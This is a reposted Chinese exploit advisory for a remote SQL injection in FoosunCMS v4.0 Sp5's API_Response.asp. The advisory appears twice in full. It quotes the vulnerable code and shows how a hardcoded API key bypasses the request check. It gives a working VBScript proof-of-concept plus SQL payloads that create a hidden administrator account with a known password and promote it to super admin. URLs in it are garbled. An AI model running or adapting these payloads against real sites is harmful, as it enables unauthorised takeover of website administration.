FoosunCMS Sql Injection Vulnerability
网络安全 2021-07-03 10:02www.168986.cn网络安全知识
--== =================== .nsp. ================= ==--
--== FoosunCMS (API_Response.asp) Remote SQL Injection Exploit ==--
--== =================================================== ==--
#Author: Tr4c3[at]126[dot]
#版权所有: http://.nsp. & [BK瞬间群]
#漏洞文件 API/API_Response.asp
#影响版本:v4.0 Sp5[其他版本未看]
#漏洞原因:
变量username未经过滤传值，带入sql执行，导致注入产生。
#关键代码
If CheckPost() Then
Select Case Act
Case "checkname" 触发注入
Checkname()
CheckPost()函数原型在行73-96，username由此获取值，代码如下:
XmlDoc.documentElement.selectSingleNode("username")
Checkname()函数在行233-254，代码如下
Sub Checkname()
Dim UserEmail
Dim Temp_tr,i,Rs,Sql
UserEmail = Trim(XmlDoc.documentElement.selectSingleNode("email").text)
If Messenge<>"" Then
输出错误信息
Status = 1
Exit Sub
End If
Sql="select UserName,Email From FS_ME_Users where UserName = "& UserName &"" 在此带入sql执行
Set Rs = User_Conn.Execute(Sql)
If Not Rs.Eof And Not Rs.Bof Then
Messenge = "您填写的用户名已经被注册。"
Status = 1
Exit Sub
Else
Status = 0
Messenge = "验证通过。"
End If
Rs.Close
Set Rs = Nothing
End Sub
利用的关键在于让CheckPost()为真，代码如下
Dim NewMd5,OldMd5
NewMd5 = Md5(UserName&API_SysKey,16) Const API_SysKey = "API_TEST"
OldMd5 = Md5(UserName&API_SysKey,16)
If Syskey=NewMd5 or Syskey=OldMd5 Then
CheckPost = True
Else
Status = 1
Messenge = Messenge & "<li>请求数据验证不通过，请与管理员联系。"
End If
API_SysKey在Api_Config.asp里16行被设置
Const API_SysKey = "API_TEST"
把注入语句 & API_SysKey 进行一次md5加密之后的16位hash，赋值给syskey就可以了。
###Poc
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 By Tr4c3[at]126[dot]
Rem 更多信息请关注:
Rem 网安阵线 http//.nsp./
Rem web安全手册 http//.tr4c3./
Rem BK瞬间[qq群]
Rem 网络推广网站推广转载请保留以上版权
Dim strData, strUrl, strGetinfo, xPost
strData = "<body><userip>999.999.999.999</userip><email>body@baidu.</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>FoosunCMS</appid><username></username></body>"
strUrl = "http//demo.foosun./api/API_Response.asp"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "POST", strUrl, False
xPost.SetRequestHeader "Content-Type", "application/x--form-urlencoded"
xPost.SetRequestHeader "Referer", strUrl
xPost.send(strData)
strGetinfo = xPost.ResponseText
strGetinfo = bytes2BSTR(xPost.ResponseBody)
Wscript.echo(strGetinfo)
Wscript.Quit
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 将返回内容转换成简体中文
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i 1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) &H100 CInt(NextCharCode))
i = i 1
End If
Next
bytes2BSTR = strReturn
End Function
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem ;insert into FS_MF_Admin (Admin_Name,Admin_Pass_Word)values(Tr4c3,83aa400af464c76d)-- 添加一个普通管理员Tr4c3,密码12345678
Rem ;update FS_MF_Admin set Admin_Is_Super=1 where Admin_Name=Tr4c3-- 把Tr4c3提升为超级管理员
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--== FoosunCMS (API_Response.asp) Remote SQL Injection Exploit ==--
--== =================================================== ==--
#Author: Tr4c3[at]126[dot]
#版权所有: http://.nsp. & [BK瞬间群]
#漏洞文件 API/API_Response.asp
#影响版本:v4.0 Sp5[其他版本未看]
#漏洞原因:
变量username未经过滤传值，带入sql执行，导致注入产生。
#关键代码
If CheckPost() Then
Select Case Act
Case "checkname" 触发注入
Checkname()
CheckPost()函数原型在行73-96，username由此获取值，代码如下:
XmlDoc.documentElement.selectSingleNode("username")
Checkname()函数在行233-254，代码如下
Sub Checkname()
Dim UserEmail
Dim Temp_tr,i,Rs,Sql
UserEmail = Trim(XmlDoc.documentElement.selectSingleNode("email").text)
If Messenge<>"" Then
输出错误信息
Status = 1
Exit Sub
End If
Sql="select UserName,Email From FS_ME_Users where UserName = "& UserName &"" 在此带入sql执行
Set Rs = User_Conn.Execute(Sql)
If Not Rs.Eof And Not Rs.Bof Then
Messenge = "您填写的用户名已经被注册。"
Status = 1
Exit Sub
Else
Status = 0
Messenge = "验证通过。"
End If
Rs.Close
Set Rs = Nothing
End Sub
利用的关键在于让CheckPost()为真，代码如下
Dim NewMd5,OldMd5
NewMd5 = Md5(UserName&API_SysKey,16) Const API_SysKey = "API_TEST"
OldMd5 = Md5(UserName&API_SysKey,16)
If Syskey=NewMd5 or Syskey=OldMd5 Then
CheckPost = True
Else
Status = 1
Messenge = Messenge & "<li>请求数据验证不通过，请与管理员联系。"
End If
API_SysKey在Api_Config.asp里16行被设置
Const API_SysKey = "API_TEST"
把注入语句 & API_SysKey 进行一次md5加密之后的16位hash，赋值给syskey就可以了。
###Poc
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 By Tr4c3[at]126[dot]
Rem 更多信息请关注:
Rem 网安阵线 http//.nsp./
Rem web安全手册 http//.tr4c3./
Rem BK瞬间[qq群]
Rem 网络推广网站推广转载请保留以上版权
Dim strData, strUrl, strGetinfo, xPost
strData = "<body><userip>999.999.999.999</userip><email>body@baidu.</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>FoosunCMS</appid><username></username></body>"
strUrl = "http//demo.foosun./api/API_Response.asp"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "POST", strUrl, False
xPost.SetRequestHeader "Content-Type", "application/x--form-urlencoded"
xPost.SetRequestHeader "Referer", strUrl
xPost.send(strData)
strGetinfo = xPost.ResponseText
strGetinfo = bytes2BSTR(xPost.ResponseBody)
Wscript.echo(strGetinfo)
Wscript.Quit
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 将返回内容转换成简体中文
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i 1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) &H100 CInt(NextCharCode))
i = i 1
End If
Next
bytes2BSTR = strReturn
End Function
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem ;insert into FS_MF_Admin (Admin_Name,Admin_Pass_Word)values(Tr4c3,83aa400af464c76d)-- 添加一个普通管理员Tr4c3,密码12345678
Rem ;update FS_MF_Admin set Admin_Is_Super=1 where Admin_Name=Tr4c3-- 把Tr4c3提升为超级管理员
Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
上一篇：关于XSS漏洞另一个攻击趋势
下一篇：世界之窗等浏览器本地xss跨域漏洞POC
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座